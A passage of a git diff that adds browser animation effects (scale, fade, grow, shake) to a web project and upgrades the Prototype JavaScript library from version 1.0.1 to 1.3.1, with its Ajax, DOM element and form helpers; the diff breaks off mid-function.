+ this.toLeft = toLeft; + Element.makePositioned(this.element); + this.start(arguments[3]); + }, + update: function(position) { + topd = this.toTop * position + this.originalTop; + leftd = this.toLeft * position + this.originalLeft; + this.setPosition(topd, leftd); + }, + setPosition: function(topd, leftd) { + this.element.style.top = topd + "px"; + this.element.style.left = leftd + "px"; + } +}); + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element) + options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0 + }, arguments[2] || {}); + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + if(this.element.style.fontSize=="") this.sizeEm = 1.0; + if(this.element.style.fontSize && this.element.style.fontSize.indexOf("em")>0) + this.sizeEm = parseFloat(this.element.style.fontSize); + this.factor = (percent/100.0) - (options.scaleFrom/100.0); + if(options.scaleMode=='box') { + this.originalHeight = this.element.clientHeight; + this.originalWidth = this.element.clientWidth; + } else + if(options.scaleMode=='contents') { + this.originalHeight = this.element.scrollHeight; + this.originalWidth = this.element.scrollWidth; + } else { + this.originalHeight = options.scaleMode.originalHeight; + this.originalWidth = options.scaleMode.originalWidth; + } + this.start(options); + }, + + update: function(position) { + currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.sizeEm) + this.element.style.fontSize = this.sizeEm*currentScale + "em"; + this.setDimensions( + this.originalWidth * currentScale, + this.originalHeight * currentScale); + }, + + setDimensions: function(width, height) { + if(this.options.scaleX) this.element.style.width = width + 'px'; + if(this.options.scaleY) this.element.style.height = height + 'px'; + if(this.options.scaleFromCenter) { + topd = (height - this.originalHeight)/2; + leftd = (width - this.originalWidth)/2; + if(this.element.style.position=='absolute') { + if(this.options.scaleY) this.element.style.top = this.originalTop-topd + "px"; + if(this.options.scaleX) this.element.style.left = this.originalLeft-leftd + "px"; + } else { + if(this.options.scaleY) this.element.style.top = -topd + "px"; + if(this.options.scaleX) this.element.style.left = -leftd + "px"; + } + } + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + + // try to parse current background color as default for endcolor + // browser stores this as: "rgb(255, 255, 255)", convert to "#ffffff" format + var endcolor = "#ffffff"; + var current = this.element.style.backgroundColor; + if(current && current.slice(0,4) == "rgb(") { + endcolor = "#"; + var cols = current.slice(4,current.length-1).split(','); + var i=0; do { endcolor += parseInt(cols[i]).toColorPart() } while (++i<3); } + + var options = Object.extend({ + startcolor: "#ffff99", + endcolor: endcolor, + restorecolor: current + }, arguments[1] || {}); + + // init color calculations + this.colors_base = [ + parseInt(options.startcolor.slice(1,3),16), + parseInt(options.startcolor.slice(3,5),16), + parseInt(options.startcolor.slice(5),16) ]; + this.colors_delta = [ + parseInt(options.endcolor.slice(1,3),16)-this.colors_base[0], + parseInt(options.endcolor.slice(3,5),16)-this.colors_base[1], + parseInt(options.endcolor.slice(5),16)-this.colors_base[2] ]; + + this.start(options); + }, + update: function(position) { + var colors = [ + Math.round(this.colors_base[0]+(this.colors_delta[0]*position)), + Math.round(this.colors_base[1]+(this.colors_delta[1]*position)), + Math.round(this.colors_base[2]+(this.colors_delta[2]*position)) ]; + this.element.style.backgroundColor = "#" + + colors[0].toColorPart() + colors[1].toColorPart() + colors[2].toColorPart(); + }, + finish: function() { + this.element.style.backgroundColor = this.options.restorecolor; + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + this.start(arguments[1] || {}); + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- prepackaged effects ------------- */ + +Effect.Fade = function(element) { + options = Object.extend({ + from: 1.0, + to: 0.0, + afterFinish: function(effect) + { Element.hide(effect.element); + effect.setOpacity(1); } + }, arguments[1] || {}); + new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + options = Object.extend({ + from: 0.0, + to: 1.0, + beforeStart: function(effect) + { effect.setOpacity(0); + Element.show(effect.element); }, + afterUpdate: function(effect) + { Element.show(effect.element); } + }, arguments[1] || {}); + new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + new Effect.Parallel( + [ new Effect.Scale(element, 200, { sync: true, scaleFromCenter: true }), + new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], + { duration: 1.0, + afterUpdate: function(effect) + { effect.effects[0].element.style.position = 'absolute'; }, + afterFinish: function(effect) + { Element.hide(effect.effects[0].element); } + } + ); +} + +Effect.BlindUp = function(element) { + Element.makeClipping(element); + new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + afterFinish: function(effect) + { + Element.hide(effect.element); + Element.undoClipping(effect.element); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + $(element).style.height = '0px'; + Element.makeClipping(element); + Element.show(element); + new Effect.Scale(element, 100, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'contents', + scaleFrom: 0, + afterFinish: function(effect) { + Element.undoClipping(effect.element); + } + }, arguments[1] || {}) + ); +} + +Effect.SwitchOff = function(element) { + new Effect.Appear(element, + { duration: 0.4, + transition: Effect.Transitions.flicker, + afterFinish: function(effect) + { effect.element.style.overflow = 'hidden'; + new Effect.Scale(effect.element, 1, + { duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, + afterUpdate: function(effect) { + if(effect.element.style.position=="") + effect.element.style.position = 'relative'; }, + afterFinish: function(effect) { Element.hide(effect.element); } + } ) + } + } ); +} + +Effect.DropOut = function(element) { + new Effect.Parallel( + [ new Effect.MoveBy(element, 100, 0, { sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0 } ) ], + { duration: 0.5, + afterFinish: function(effect) + { Element.hide(effect.effects[0].element); } + }); +} + +Effect.Shake = function(element) { + new Effect.MoveBy(element, 0, 20, + { duration: 0.05, afterFinish: function(effect) { + new Effect.MoveBy(effect.element, 0, -40, + { duration: 0.1, afterFinish: function(effect) { + new Effect.MoveBy(effect.element, 0, 40, + { duration: 0.1, afterFinish: function(effect) { + new Effect.MoveBy(effect.element, 0, -40, + { duration: 0.1, afterFinish: function(effect) { + new Effect.MoveBy(effect.element, 0, 40, + { duration: 0.1, afterFinish: function(effect) { + new Effect.MoveBy(effect.element, 0, -20, + { duration: 0.05, afterFinish: function(effect) { + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element); + element.style.height = '0px'; + Element.makeClipping(element); + Element.cleanWhitespace(element); + Element.makePositioned(element.firstChild); + Element.show(element); + new Effect.Scale(element, 100, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'contents', + scaleFrom: 0, + afterUpdate: function(effect) + { effect.element.firstChild.style.bottom = + (effect.originalHeight - effect.element.clientHeight) + 'px'; }, + afterFinish: function(effect) + { Element.undoClipping(effect.element); } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element); + Element.makeClipping(element); + Element.cleanWhitespace(element); + Element.makePositioned(element.firstChild); + Element.show(element); + new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + afterUpdate: function(effect) + { effect.element.firstChild.style.bottom = + (effect.originalHeight - effect.element.clientHeight) + 'px'; }, + afterFinish: function(effect) + { + Element.hide(effect.element); + Element.undoClipping(effect.element); + } + }, arguments[1] || {}) + ); +} + +Effect.Squish = function(element) { + new Effect.Scale(element, 0, + { afterFinish: function(effect) { Element.hide(effect.element); } }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = arguments[1] || {}; + + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + element.style.overflow = 'hidden'; + Element.show(element); + + var direction = options.direction || 'center'; + var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; + var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; + var opacityTransition = options.opacityTransition || Effect.Transitions.full; + + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = originalWidth; + initialMoveY = moveY = 0; + moveX = -originalWidth; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = originalHeight; + moveY = -originalHeight; + break; + case 'bottom-right': + initialMoveX = originalWidth; + initialMoveY = originalHeight; + moveX = -originalWidth; + moveY = -originalHeight; + break; + case 'center': + initialMoveX = originalWidth / 2; + initialMoveY = originalHeight / 2; + moveX = -originalWidth / 2; + moveY = -originalHeight / 2; + break; + } + + new Effect.MoveBy(element, initialMoveY, initialMoveX, { + duration: 0.01, + beforeUpdate: function(effect) { $(element).style.height = '0px'; }, + afterFinish: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 1.0, from: 0.0, transition: opacityTransition }), + new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: moveTransition }), + new Effect.Scale(element, 100, { + scaleMode: { originalHeight: originalHeight, originalWidth: originalWidth }, + sync: true, scaleFrom: 0, scaleTo: 100, transition: scaleTransition })], + options); } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = arguments[1] || {}; + + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + element.style.overflow = 'hidden'; + Element.show(element); + + var direction = options.direction || 'center'; + var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; + var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; + var opacityTransition = options.opacityTransition || Effect.Transitions.none; + + var moveX, moveY; + + switch (direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = originalWidth; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = originalHeight; + break; + case 'bottom-right': + moveX = originalWidth; + moveY = originalHeight; + break; + case 'center': + moveX = originalWidth / 2; + moveY = originalHeight / 2; + break; + } + + new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: opacityTransition }), + new Effect.Scale(element, 0, { sync: true, transition: moveTransition }), + new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: scaleTransition }) ], + options); +} + +Effect.Pulsate = function(element) { + var options = arguments[1] || {}; + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) }; + reverser.bind(transition); + new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 3.0, + afterFinish: function(effect) { Element.show(effect.element); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + $(element).style.overflow = 'hidden'; + new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleTo: 100, + scaleX: false, + afterFinish: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleTo: 0, + scaleY: false, + afterFinish: function(effect) { Element.hide(effect.element) } }); + }}, arguments[1] || {})); +} + +// old: new Effect.ContentZoom(element, percent) +// new: Element.setContentZoom(element, percent) + +Element.setContentZoom = function(element, percent) { + var element = $(element); + element.style.fontSize = (percent/100) + "em"; + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); +} diff --git a/public/javascripts/prototype.js b/public/javascripts/prototype.js index 62bbc98e..37635ccf 100644 --- a/public/javascripts/prototype.js +++ b/public/javascripts/prototype.js @@ -1,336 +1,1038 @@ -/* Prototype: an object-oriented Javascript library, version 1.0.1 - * (c) 2005 Sam Stephenson - * - * Prototype is freely distributable under the terms of an MIT-style license. - * For details, see http://prototype.conio.net/ - */ - -Prototype = { - Version: '1.0.1' -} - -Class = { - create: function() { - return function() { - this.initialize.apply(this, arguments); - } - } -} - -Abstract = new Object(); - -Object.prototype.extend = function(object) { - for (property in object) { - this[property] = object[property]; - } - return this; -} - -Function.prototype.bind = function(object) { - var method = this; - return function() { - method.apply(object, arguments); - } -} - -Function.prototype.bindAsEventListener = function(object) { - var method = this; - return function(event) { - method.call(object, event || window.event); - } -} - -Try = { - these: function() { - var returnValue; - - for (var i = 0; i < arguments.length; i++) { - var lambda = arguments[i]; - try { - returnValue = lambda(); - break; - } catch (e) {} - } - - return returnValue; - } -} - -Toggle = { - display: function() { - for (var i = 0; i < elements.length; i++) { - var element = $(elements[i]); - element.style.display = - (element.style.display == 'none' ? '' : 'none'); - } - } -} - -/*--------------------------------------------------------------------------*/ - -function $() { - var elements = new Array(); - - for (var i = 0; i < arguments.length; i++) { - var element = arguments[i]; - if (typeof element == 'string') - element = document.getElementById(element); - - if (arguments.length == 1) - return element; - - elements.push(element); - } - - return elements; -} - -function getElementsByClassName(className, element) { - var children = (element || document).getElementsByTagName('*'); - var elements = new Array(); - - for (var i = 0; i < children.length; i++) { - var child = children[i]; - var classNames = child.className.split(' '); - for (var j = 0; j < classNames.length; j++) { - if (classNames[j] == className) { - elements.push(child); - break; - } - } - } - - return elements; -} - -/*--------------------------------------------------------------------------*/ - -Ajax = { - getTransport: function() { - return Try.these( - function() {return new ActiveXObject('Msxml2.XMLHTTP')}, - function() {return new ActiveXObject('Microsoft.XMLHTTP')}, - function() {return new XMLHttpRequest()} - ) || false; - }, - - emptyFunction: function() {} -} - -Ajax.Base = function() {}; -Ajax.Base.prototype = { - setOptions: function(options) { - this.options = { - method: 'post', - asynchronous: true, - parameters: '' - }.extend(options || {}); - } -} - -Ajax.Request = Class.create(); -Ajax.Request.Events = - ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; - -Ajax.Request.prototype = (new Ajax.Base()).extend({ - initialize: function(url, options) { - this.transport = Ajax.getTransport(); - this.setOptions(options); - - try { - if (this.options.method == 'get') - url += '?' + this.options.parameters + '&_='; - - this.transport.open(this.options.method, url, true); - - if (this.options.asynchronous) { - this.transport.onreadystatechange = this.onStateChange.bind(this); - setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); - } - - if (this.options.method == 'post') { - this.transport.setRequestHeader('Connection', 'close'); - this.transport.setRequestHeader('Content-type', - 'application/x-www-form-urlencoded'); - } - - this.transport.send(this.options.method == 'post' ? - this.options.parameters + '&_=' : null); - - } catch (e) { - } - }, - - onStateChange: function() { - var readyState = this.transport.readyState; - if (readyState != 1) - this.respondToReadyState(this.transport.readyState); - }, - - respondToReadyState: function(readyState) { - var event = Ajax.Request.Events[readyState]; - (this.options['on' + event] || Ajax.emptyFunction)(this.transport); - } -}); - -Ajax.Updater = Class.create(); -Ajax.Updater.prototype = (new Ajax.Base()).extend({ - initialize: function(container, url, options) { - this.container = $(container); - this.setOptions(options); - - if (this.options.asynchronous) { - this.onComplete = this.options.onComplete; - this.options.onComplete = this.updateContent.bind(this); - } - - this.request = new Ajax.Request(url, this.options); - - if (!this.options.asynchronous) - this.updateContent(); - }, - - updateContent: function() { - this.container.innerHTML = this.request.transport.responseText; - if (this.onComplete) this.onComplete(this.request); - } -}); - -/*--------------------------------------------------------------------------*/ - -Field = { - clear: function() { - for (var i = 0; i < arguments.length; i++) - $(arguments[i]).value = ''; - }, - - focus: function(element) { - $(element).focus(); - }, - - present: function() { - for (var i = 0; i < arguments.length; i++) - if ($(arguments[i]).value == '') return false; - return true; - } -} - -/*--------------------------------------------------------------------------*/ - -Form = { - serialize: function(form) { - var elements = Form.getElements($(form)); - var queryComponents = new Array(); - - for (var i = 0; i < elements.length; i++) { - var queryComponent = Form.Element.serialize(elements[i]); - if (queryComponent) - queryComponents.push(queryComponent); - } - - return queryComponents.join('&'); - }, - - getElements: function(form) { - form = $(form); - var elements = new Array(); - - for (tagName in Form.Element.Serializers) { - var tagElements = form.getElementsByTagName(tagName); - for (var j = 0; j < tagElements.length; j++) - elements.push(tagElements[j]); - } - return elements; - } -} - -Form.Element = { - serialize: function(element) { - element = $(element); - var method = element.tagName.toLowerCase(); - var parameter = Form.Element.Serializers[method](element); - - if (parameter) - return encodeURIComponent(parameter[0]) + '=' + - encodeURIComponent(parameter[1]); - }, - - getValue: function(element) { - element = $(element); - var method = element.tagName.toLowerCase(); - var parameter = Form.Element.Serializers[method](element); - - if (parameter) - return parameter[1]; - } -} - -Form.Element.Serializers = { - input: function(element) { - switch (element.type.toLowerCase()) { - case 'hidden': - case 'text': - return Form.Element.Serializers.textarea(element); - case 'checkbox': - case 'radio': - return Form.Element.Serializers.inputSelector(element); - } - }, - - inputSelector: function(element) { - if (element.checked) - return [element.name, element.value]; - }, - - textarea: function(element) { - return [element.name, element.value]; - }, - - select: function(element) { - var index = element.selectedIndex; - return [element.name, (index >= 0) ? element.options[index].value : '']; - } -} - -/*--------------------------------------------------------------------------*/ - -Abstract.TimedObserver = function() {} -Abstract.TimedObserver.prototype = { - initialize: function(element, frequency, callback) { - this.frequency = frequency; - this.element = $(element); - this.callback = callback; - - this.lastValue = this.getValue(); - this.registerCallback(); - }, - - registerCallback: function() { - setTimeout(this.onTimerEvent.bind(this), this.frequency * 1000); - }, - - onTimerEvent: function() { - var value = this.getValue(); - if (this.lastValue != value) { - this.callback(this.element, value); - this.lastValue = value; - } - - this.registerCallback(); - } -} - -Form.Element.Observer = Class.create(); -Form.Element.Observer.prototype = (new Abstract.TimedObserver()).extend({ - getValue: function() { - return Form.Element.getValue(this.element); - } -}); - -Form.Observer = Class.create(); -Form.Observer.prototype = (new Abstract.TimedObserver()).extend({ - getValue: function() { - return Form.serialize(this.element); - } -}); - +/* Prototype JavaScript framework, version 1.3.1 + * (c) 2005 Sam Stephenson + * + * THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff + * against the source tree, available from the Prototype darcs repository. + * + * Prototype is freely distributable under the terms of an MIT-style license. + * + * For details, see the Prototype web site: http://prototype.conio.net/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.3.1', + emptyFunction: function() {} +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.prototype.extend = function(object) { + return Object.extend.apply(this, [this, object]); +} + +Function.prototype.bind = function(object) { + var __method = this; + return function() { + __method.apply(object, arguments); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var __method = this; + return function(event) { + __method.call(object, event || window.event); + } +} + +Number.prototype.toColorPart = function() { + var digits = this.toString(16); + if (this < 16) return '0' + digits; + return digits; +} + +var Try = { + these: function() { + var returnValue; + + for (var i = 0; i < arguments.length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(); + } finally { + this.currentlyExecuting = false; + } + } + } +} + +/*--------------------------------------------------------------------------*/ + +function $() { + var elements = new Array(); + + for (var i = 0; i < arguments.length; i++) { + var element = arguments[i]; + if (typeof element == 'string') + element = document.getElementById(element); + + if (arguments.length == 1) + return element; + + elements.push(element); + } + + return elements; +} + +if (!Array.prototype.push) { + Array.prototype.push = function() { + var startLength = this.length; + for (var i = 0; i < arguments.length; i++) + this[startLength + i] = arguments[i]; + return this.length; + } +} + +if (!Function.prototype.apply) { + // Based on code from http://www.youngpup.net/ + Function.prototype.apply = function(object, parameters) { + var parameterStrings = new Array(); + if (!object) object = window; + if (!parameters) parameters = new Array(); + + for (var i = 0; i < parameters.length; i++) + parameterStrings[i] = 'parameters[' + i + ']'; + + object.__apply__ = this; + var result = eval('object.__apply__(' + + parameterStrings[i].join(', ') + ')'); + object.__apply__ = null; + + return result; + } +} + +String.prototype.extend({ + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + escapeHTML: function() { + var div = document.createElement('div'); + var text = document.createTextNode(this); + div.appendChild(text); + return div.innerHTML; + }, + + unescapeHTML: function() { + var div = document.createElement('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0].nodeValue; + } +}); + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')}, + function() {return new XMLHttpRequest()} + ) || false; + } +} + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + parameters: '' + }.extend(options || {}); + }, + + responseIsSuccess: function() { + return this.transport.status == undefined + || this.transport.status == 0 + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + responseIsFailure: function() { + return !this.responseIsSuccess(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = (new Ajax.Base()).extend({ + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + var parameters = this.options.parameters || ''; + if (parameters.length > 0) parameters += '&_='; + + try { + if (this.options.method == 'get') + url += '?' + parameters; + + this.transport.open(this.options.method, url, + this.options.asynchronous); + + if (this.options.asynchronous) { + this.transport.onreadystatechange = this.onStateChange.bind(this); + setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); + } + + this.setRequestHeaders(); + + var body = this.options.postBody ? this.options.postBody : parameters; + this.transport.send(this.options.method == 'post' ? body : null); + + } catch (e) { + } + }, + + setRequestHeaders: function() { + var requestHeaders = + ['X-Requested-With', 'XMLHttpRequest', + 'X-Prototype-Version', Prototype.Version]; + + if (this.options.method == 'post') { + requestHeaders.push('Content-type', + 'application/x-www-form-urlencoded'); + + /* Force "Connection: close" for Mozilla browsers to work around + * a bug where XMLHttpReqeuest sends an incorrect Content-length + * header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType) + requestHeaders.push('Connection', 'close'); + } + + if (this.options.requestHeaders) + requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); + + for (var i = 0; i < requestHeaders.length; i += 2) + this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState != 1) + this.respondToReadyState(this.transport.readyState); + }, + + respondToReadyState: function(readyState) { + var event = Ajax.Request.Events[readyState]; + + if (event == 'Complete') + (this.options['on' + this.transport.status] + || this.options['on' + this.responseIsSuccess() ? 'Success' : 'Failure'] + || Prototype.emptyFunction)(this.transport); + + (this.options['on' + event] || Prototype.emptyFunction)(this.transport); + + /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ + if (event == 'Complete') + this.transport.onreadystatechange = Prototype.emptyFunction; + } +}); + +Ajax.Updater = Class.create(); +Ajax.Updater.ScriptFragment = '(?:)((\n|.)*?)(?:<\/script>)'; + +Ajax.Updater.prototype.extend(Ajax.Request.prototype).extend({ + initialize: function(container, url, options) { + this.containers = { + success: container.success ? $(container.success) : $(container), + failure: container.failure ? $(container.failure) : + (container.success ? null : $(container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function() { + this.updateContent(); + onComplete(this.transport); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.responseIsSuccess() ? + this.containers.success : this.containers.failure; + + var match = new RegExp(Ajax.Updater.ScriptFragment, 'img'); + var response = this.transport.responseText.replace(match, ''); + var scripts = this.transport.responseText.match(match); + + if (receiver) { + if (this.options.insertion) { + new this.options.insertion(receiver, response); + } else { + receiver.innerHTML = response; + } + } + + if (this.responseIsSuccess()) { + if (this.onComplete) + setTimeout((function() {this.onComplete( + this.transport)}).bind(this), 10); + } + + if (this.options.evalScripts && scripts) { + match = new RegExp(Ajax.Updater.ScriptFragment, 'im'); + setTimeout((function() { + for (var i = 0; i < scripts.length; i++) + eval(scripts[i].match(match)[1]); + }).bind(this), 10); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = (new Ajax.Base()).extend({ + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = 1; + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Ajax.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = setTimeout(this.onTimerEvent.bind(this), + this.decay * this.frequency * 1000); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); + +document.getElementsByClassName = function(className) { + var children = document.getElementsByTagName('*') || document.all; + var elements = new Array(); + + for (var i = 0; i < children.length; i++) { + var child = children[i]; + var classNames = child.className.split(' '); + for (var j = 0; j < classNames.length; j++) { + if (classNames[j] == className) { + elements.push(child); + break; + } + } + } + + return elements; +} + +/*--------------------------------------------------------------------------*/ + +if (!window.Element) { + var Element = new Object(); +} + +Object.extend(Element, { + toggle: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = + (element.style.display == 'none' ? '' : 'none'); + } + }, + + hide: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = 'none'; + } + }, + + show: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = ''; + } + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + }, + + getHeight: function(element) { + element = $(element); + return element.offsetHeight; + }, + + hasClassName: function(element, className) { + element = $(element); + if (!element) + return; + var a = element.className.split(' '); + for (var i = 0; i < a.length; i++) { + if (a[i] == className) + return true; + } + return false; + }, + + addClassName: function(element, className) { + element = $(element); + Element.removeClassName(element, className); + element.className += ' ' + className; + }, + + removeClassName: function(element, className) { + element = $(element); + if (!element) + return; + var newClassName = ''; + var a = element.className.split(' '); + for (var i = 0; i < a.length; i++) { + if (a[i] != className) { + if (i > 0) + newClassName += ' '; + newClassName += a[i]; + } + } + element.className = newClassName; + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + var element = $(element); + for (var i = 0; i < element.childNodes.length; i++) { + var node = element.childNodes[i]; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + Element.remove(node); + } + } +}); + +var Toggle = new Object(); +Toggle.display = Element.toggle; + +/*--------------------------------------------------------------------------*/ + +Abstract.Insertion = function(adjacency) { + this.adjacency = adjacency; +} + +Abstract.Insertion.prototype = { + initialize: function(element, content) { + this.element = $(element); + this.content = content; + + if (this.adjacency && this.element.insertAdjacentHTML) { + this.element.insertAdjacentHTML(this.adjacency, this.content); + } else { + this.range = this.element.ownerDocument.createRange(); + if (this.initializeRange) this.initializeRange(); + this.fragment = this.range.createContextualFragment(this.content); + this.insertContent(); + } + } +} + +var Insertion = new Object(); + +Insertion.Before = Class.create(); +Insertion.Before.prototype = (new Abstract.Insertion('beforeBegin')).extend({ + initializeRange: function() { + this.range.setStartBefore(this.element); + }, + + insertContent: function() { + this.element.parentNode.insertBefore(this.fragment, this.element); + } +}); + +Insertion.Top = Class.create(); +Insertion.Top.prototype = (new Abstract.Insertion('afterBegin')).extend({ + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(true); + }, + + insertContent: function() { + this.element.insertBefore(this.fragment, this.element.firstChild); + } +}); + +Insertion.Bottom = Class.create(); +Insertion.Bottom.prototype = (new Abstract.Insertion('beforeEnd')).extend({ + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(this.element); + }, + + insertContent: function() { + this.element.appendChild(this.fragment); + } +}); + +Insertion.After = Class.create(); +Insertion.After.prototype = (new Abstract.Insertion('afterEnd')).extend({ + initializeRange: function() { + this.range.setStartAfter(this.element); + }, + + insertContent: function() { + this.element.parentNode.insertBefore(this.fragment, + this.element.nextSibling); + } +}); + +var Field = { + clear: function() { + for (var i = 0; i < arguments.length; i++) + $(arguments[i]).value = ''; + }, + + focus: function(element) { + $(element).focus(); + }, + + present: function() { + for (var i = 0; i < arguments.length; i++) + if ($(arguments[i]).value == '') return false; + return true; + }, + + select: function(element) { + $(element).select(); + }, + + activate: function(element) { + $(element).focus(); + $(element).select(); + } +} + +/*--------------------------------------------------------------------------*/ + +var Form = { + serialize: function(form) { + var elements = Form.getElements($(form)); + var queryComponents = new Array(); + + for (var i = 0; i < elements.length; i++) { + var queryComponent = Form.Element.serialize(elements[i]); + if (queryComponent) + queryComponents.push(queryComponent); + } + + return queryComponents.join('&'); + }, + + getElements: function(form) { + var form = $(form); + var elements = new Array(); + + for (tagName in Form.Element.Serializers) { + var tagElements = form.getElementsByTagName(tagName); + for (var j = 0; j < tagElements.length; j++) + elements.push(tagElements[j]); + } + return elements; + }, + + getInputs: function(form, typeName, name) { + var form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) + return inputs; + + var matchingInputs = new Array(); + for (var i = 0; i < 